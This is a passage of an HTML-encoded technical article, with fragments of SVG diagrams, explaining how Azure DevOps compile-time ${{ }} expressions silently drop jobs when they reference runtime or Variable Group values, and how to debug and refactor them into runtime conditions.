text-anchor='middle' x='432' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='196' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='212' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='212' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"11-what---really-sees\"\u003e1.1: What ${{ }} Really Sees\u003c/h3\u003e\n\u003cp\u003eCompile-time expressions are resolved when the YAML is fetched and templates are unrolled. At this moment, the engine only has access to a very narrow slice of data:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eYAML Parameters:\u003c/strong\u003e Explicitly passed into the template.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStatic Variables:\u003c/strong\u003e Hardcoded in the \u003ccode\u003evariables:\u003c/code\u003e block of the YAML files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSystem Variables (Pre-run):\u003c/strong\u003e Values known before the first task starts, such as \u003ccode\u003eBuild.Reason\u003c/code\u003e, \u003ccode\u003eBuild.SourceBranch\u003c/code\u003e, or \u003ccode\u003eSystem.TeamProject\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEverything else—Variables set in the Azure DevOps UI, secret variables, values from Variable Groups, and any data produced by a script—is \u003cstrong\u003einvisible\u003c/strong\u003e to \u003ccode\u003e${{ }}\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"12-the-null-result-trap\"\u003e1.2: The \u0026ldquo;Null\u0026rdquo; Result Trap\u003c/h3\u003e\n\u003cp\u003eWhen an expression tries to access a non-existent variable, it evaluates to \u003ccode\u003enull\u003c/code\u003e. In the logic engine, \u003ccode\u003enull\u003c/code\u003e is functionally identical to \u003ccode\u003efalse\u003c/code\u003e. If you wrap a job in an \u003ccode\u003e${{ if }}\u003c/code\u003e block that resolves to \u003ccode\u003enull\u003c/code\u003e, the orchestrator deletes that job from the final plan. Because the code is removed before it even reaches the agent, you won\u0026rsquo;t see a \u0026ldquo;skipped\u0026rdquo; icon in the UI; the code simply vanishes, leaving no trace in the standard execution logs.\u003c/p\u003e\n\u003ch2 id=\"2-three-common-patterns-of-silent-failure\"\u003e2. Three Common Patterns of Silent Failure\u003c/h2\u003e\n\u003ch3 id=\"21-the-environment-toggle-failure\"\u003e2.1: The \u0026ldquo;Environment Toggle\u0026rdquo; Failure\u003c/h3\u003e\n\u003cp\u003eEngineers often try to use \u003ccode\u003e${{ if eq(variables.envName, 'Prod') }}\u003c/code\u003e where \u003ccode\u003eenvName\u003c/code\u003e is defined in a Variable Group linked in the Library. Because Variable Groups are injected \u003cem\u003eafter\u003c/em\u003e the YAML expansion phase, the \u003ccode\u003e${{ if }}\u003c/code\u003e block always sees \u003ccode\u003enull\u003c/code\u003e. The specialized security or production steps you intended to run are silently dropped every single time.\u003c/p\u003e\n\u003ch3 id=\"22-the-output-variable-misconception\"\u003e2.2: The \u0026ldquo;Output Variable\u0026rdquo; Misconception\u003c/h3\u003e\n\u003cp\u003eAnother frequent mistake is attempting to use \u003ccode\u003e${{ if eq(dependencies.A.outputs['task.myVar'], 'true') }}\u003c/code\u003e. At compile-time, the \u003ccode\u003edependencies\u003c/code\u003e object is entirely empty because Job A hasn\u0026rsquo;t even been assigned to an agent yet. The expression resolves to \u003ccode\u003enull\u003c/code\u003e, and the dependent step is removed from the plan.\u003c/p\u003e\n\u003ch3 id=\"23-the-template-parameter-vs-variable-blur\"\u003e2.3: The \u0026ldquo;Template Parameter\u0026rdquo; vs \u0026ldquo;Variable\u0026rdquo; Blur\u003c/h3\u003e\n\u003cp\u003ePassing a runtime variable into a template parameter that is then used in an \u003ccode\u003e${{ if }}\u003c/code\u003e statement is a guaranteed failure.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Main Pipeline\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emy-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eisProd\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(isProdVariable)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Literal string passed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Template\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.isProd, \u0026#39;true\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Running in Prod\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe template receives the literal string \u003ccode\u003e$(isProdVariable)\u003c/code\u003e, not its value. Since the string \u003ccode\u003e$(isProdVariable)\u003c/code\u003e is not equal to \u003ccode\u003etrue\u003c/code\u003e, the code block is deleted.\u003c/p\u003e\n\u003ch2 id=\"3-the-debuggers-toolkit-expanded-yaml\"\u003e3. The Debugger’s Toolkit: Expanded YAML\u003c/h2\u003e\n\u003cp\u003eTo fix what you can\u0026rsquo;t see, you must change how you view your code.\u003c/p\u003e\n\u003ch3 id=\"31-the-view-yaml-button\"\u003e3.1: The \u0026ldquo;View YAML\u0026rdquo; Button\u003c/h3\u003e\n\u003cp\u003eThe most important tool in your arsenal is the \u003cstrong\u003eExpanded YAML\u003c/strong\u003e view.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePre-run:\u003c/strong\u003e In the Pipeline Editor, click the vertical ellipsis and select \u0026ldquo;Download full YAML\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePost-run:\u003c/strong\u003e In the run summary, go to \u0026ldquo;Download logs\u0026rdquo; and look for \u003ccode\u003eazure-pipelines-expanded.yaml\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis view shows the pipeline \u003cem\u003eafter\u003c/em\u003e all \u003ccode\u003e${{ }}\u003c/code\u003e and templates have been resolved. If your code is missing from this file, the error is at compile-time (\u003ccode\u003e${{ }}\u003c/code\u003e). If it is present but skipped in the UI, the error is at runtime (\u003ccode\u003e$[ ]\u003c/code\u003e).\u003c/p\u003e\n\u003ch3 id=\"32-the-echo-debug-pattern\"\u003e3.2: The Echo-Debug Pattern\u003c/h3\u003e\n\u003cp\u003eWhen building complex templates, always include a debug step that converts your parameters to JSON. This reveals type coercion issues (like booleans turning into strings) and missing values.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#39;${{ convertToJson(parameters) }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;🔍 Debug\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eParameter Expansion\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;System.Debug\u0026#39;], \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-refactoring-for-success-moving-to-runtime-conditions\"\u003e4. Refactoring for Success: Moving to Runtime Conditions\u003c/h2\u003e\n\u003ch3 id=\"41-when-to-use-condition\"\u003e4.1: When to Use \u003ccode\u003econdition:\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eIf you need to check a value that might change during execution, you must move the logic from \u003ccode\u003e${{ if }}\u003c/code\u003e to the \u003ccode\u003econdition:\u003c/code\u003e property of a job or step. Use the runtime syntax \u003ccode\u003e$[ ]\u003c/code\u003e to ensure evaluation happens after variables are resolved.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWrong (Compile-time):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables.isProd, \u0026#39;true\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eRight (Runtime):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;isProd\u0026#39;], \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"42-mapping-variables-properly\"\u003e4.2: Mapping Variables Properly\u003c/h3\u003e\n\u003cp\u003eFor cross-job dependencies, use the \u003ccode\u003evariables:\u003c/code\u003e block to map the runtime output into a local scope. This makes your conditions cleaner and easier to read.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eB\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadyFlag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.A.outputs[\u0026#39;Check.isReady\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./run.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables.readyFlag, \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-best-practices-to-avoid-the-gap\"\u003e5. Best Practices to Avoid the Gap\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eParameters for Structure:\u003c/strong\u003e If a value determines \u003cem\u003ewhat\u003c/em\u003e steps are in the pipeline (e.g., Windows vs Linux), use a \u003ccode\u003eparameter\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVariables for Values:\u003c/strong\u003e If a value determines \u003cem\u003eif\u003c/em\u003e a step runs (e.g., Branch name or Approval), use a \u003ccode\u003evariable\u003c/code\u003e and a \u003ccode\u003econdition:\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe \u0026ldquo;Fail-Fast\u0026rdquo; Strategy:\u003c/strong\u003e Use \u003ccode\u003eruntime parameters\u003c/code\u003e with restricted \u003ccode\u003evalues\u003c/code\u003e to prevent invalid states from ever reaching the engine.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNever Check UI Variables in ${{ }}:\u003c/strong\u003e Treat any variable not hardcoded in the current YAML file as \u0026ldquo;invisible\u0026rdquo; to the \u003ccode\u003e${{ }}\u003c/code\u003e syntax.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"hands-on-example-the-vanish-bug\"\u003eHands-On Example: The \u0026ldquo;Vanish\u0026rdquo; Bug\u003c/h2\u003e\n\u003cp\u003eConsider a deployment step that only runs for the \u003ccode\u003emain\u003c/code\u003e branch. A developer writes:\n\u003ccode\u003e${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}\u003c/code\u003e.\nThe pipeline runs for a PR, but the deployment step is missing from the logs entirely.\u003c/p\u003e\n\u003ch3 id=\"the-vanish-bug-diagnostic-flow\"\u003eThe \u0026ldquo;Vanish Bug\u0026rdquo; Diagnostic Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 688 185\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 112,48 L 168,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,96 L 616,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,8 L 104,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 368,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,96 L 368,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,16 L 624,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,152 L 624,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='624.000000,96.000000 612.000000,90.400002 612.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 616.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' 